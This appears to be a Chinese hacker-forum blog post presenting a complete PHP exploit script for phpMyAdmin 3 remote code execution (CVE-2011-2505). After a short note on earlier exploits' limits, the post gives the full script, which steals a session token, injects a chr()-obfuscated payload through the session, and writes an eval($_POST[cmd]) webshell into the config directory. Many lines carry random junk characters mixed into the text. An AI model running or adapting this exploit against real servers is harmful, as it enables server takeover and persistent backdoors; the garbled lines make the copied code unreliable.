phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。

首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
, i$ X5 q3 D- t8 b! }* M0 ^2 @一是session.auto_start = 1；
5 q. A) E" m; L/ s: A; |) W$ D二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
8 u, _: J' F1 I6 o当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
0 L0 G+ H0 k% V: M0 [1 }6 _
' _3 N- g' W# E在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
; F% V  ?0 I3 F
于是写了这个php版本的exp，代码如下：

$ J  |; z' n: E4 [- p. Q( [#!/usr/bin/php
3 `. B/ x4 n$ N$ T<?php
2 F4 [1 d/ \( Bprint_r('
+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
+ w  ^# Y+ j5 d2 G8 kby oldjun(www.oldjun.com)
. J* G' z' f0 p, g1 y7 j% @4 ywelcome to www.t00ls.net
- k. w  m: e6 Smail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
2 F' p) W0 O+ Y& V- M: \. i');

( G, \* g6 Y5 r- K6 U' ~# Y, ^! e/**
2 E# |3 [# Z' L: n * working when the directory:"config" exists and is writeable.
**/
; H+ v( R; [1 @
/ u( s6 D% w  rif ($argc < 3) {
    print_r('
' T; `1 U3 P9 V2 E. p- q% l+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
+ Y( U& j  s/ T0 G) c, Gpath:      path to pma3
Example:
php '.$argv[0].' localhost /pma/
# H4 \; X- n9 l$ [* ^7 ~+---------------------------------------------------------------------------+
& P7 l2 a: s. Y) @');
" v! y# w/ I! T1 ]3 l) P9 I    exit;
) i% h4 z2 Y0 @9 E2 A0 k' D& Q}
5 U. v; Q% n7 Q+ X/ V; n
# J. D* o2 v/ C7 t& v6 l# i, Z$host = $argv[1];
& B  v: j. ^  U0 B/ C+ k  F$path = $argv[2];

/**
  S& d6 X- `* Z * Try to determine if the directory:"config" exists
**/
echo "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
) h7 r) g9 K2 S8 U2 |; Z+ h2 ?% Bif(strpos($returnstr,'404')){
& s; b$ w( e# `    exit("[-] Exploit Failed! The directory:config do not exists!\n");
0 s2 \0 O# H: k0 }}
0 Z5 A. z2 V; d/ T4 W2 g" N" J
/**
1 @: D3 j; k1 r) J; [ * Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
$ {# g. C4 Y3 C% t! s6 M& A! Dpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
) }, q* i4 V. h# x2 Z0 h  ]$sessionid=$resp[1];
if($token && $sessionid){
& Z: }( k. f8 q# m+ c+ p% X. S    echo "[+] tokentoken\n";
) B  u' w' d7 J& u) X% y0 A3 i    echo "[+] Session IDsessionid\n";
) k9 w* Y' Z) L  N}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
3 H2 h; a9 r1 T; z. `, R0 T}
3 @- J; J7 ~( L: F; R: n6 s3 e% U
# R. |0 w7 J7 k7 {: K7 _( N/**
* Try to insert shell into session
**/
echo "[+] Try to insert shell into session....\n";
; O+ ~% O" J4 }0 Pphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
; Y+ S2 J. s5 U* ?& g3 V9 _
- b  A+ x9 v3 h. N0 o+ {% r9 V: i/**
* Try to create webshell
**/
; _/ P7 R/ _) A+ d) A0 T; }3 X- Jecho "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
* Try to check if the webshell was created successfully
**/
echo "[+] Try to check if the webshell was created successfully....\n";
/ ~4 h& \# u- c0 C! H7 o" V% y5 s2 ?$content=php_request('config/config.inc.php');
: o# K% D( h9 Vif(strpos($content,'t00ls')){
0 T  ]1 S& e/ t. c1 O    echo "[+] Congratulations! Expoilt successfully....\n";
6 I6 h. U' S! n3 M  o2 D    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
& I1 _2 V+ S2 ^. y. v" n}else{
) [6 `$ T- m1 d. e+ s    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}

3 i9 D& G2 `, m, F1 L% }' Qfunction php_request($url,$data='',$cookie=''){
    global  $host, $path;
) x+ x/ H2 c8 b2 d7 q- M   
; S  K1 n3 Z7 e6 s    $method=$data?'POST':'GET';
   
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
* E4 r3 L  v7 R    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
' Y9 d5 `. W, O3 h( ?4 B4 T    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
6 I8 j3 J7 Q4 H7 Z    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
$ N) m3 ~: p: O3 R    $packet .= "Connection: Close\r\n\r\n";
& T+ C$ ]6 `* t! b: C    $packet .= $data?$data:"";
" x9 i# |6 O+ S+ @, z  c0 `! j
    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
    echo 'No response from '.$host; die;
6 r$ o7 L# _' o0 w  v  j: U7 E    }
    fputs($fp, $packet);
5 A1 |+ m9 n6 {6 U! v* }% w
+ e0 ]% \4 J% g# y  P/ ?    $resp = '';
' U' p' v0 _4 ~
6 M" v& ~/ z9 E# Y2 B) p* ?" o7 E. ?    while ($fp && !feof($fp))
0 [2 z# t' `0 X7 c% b$ t& B7 A        $resp .= fread($fp, 1024);

; c8 a  ^6 q: h: O7 a* F    return $resp;
) y0 F* c7 ]7 E8 _% n}
   
?>
$ P1 x7 O/ h5 s6 t! r.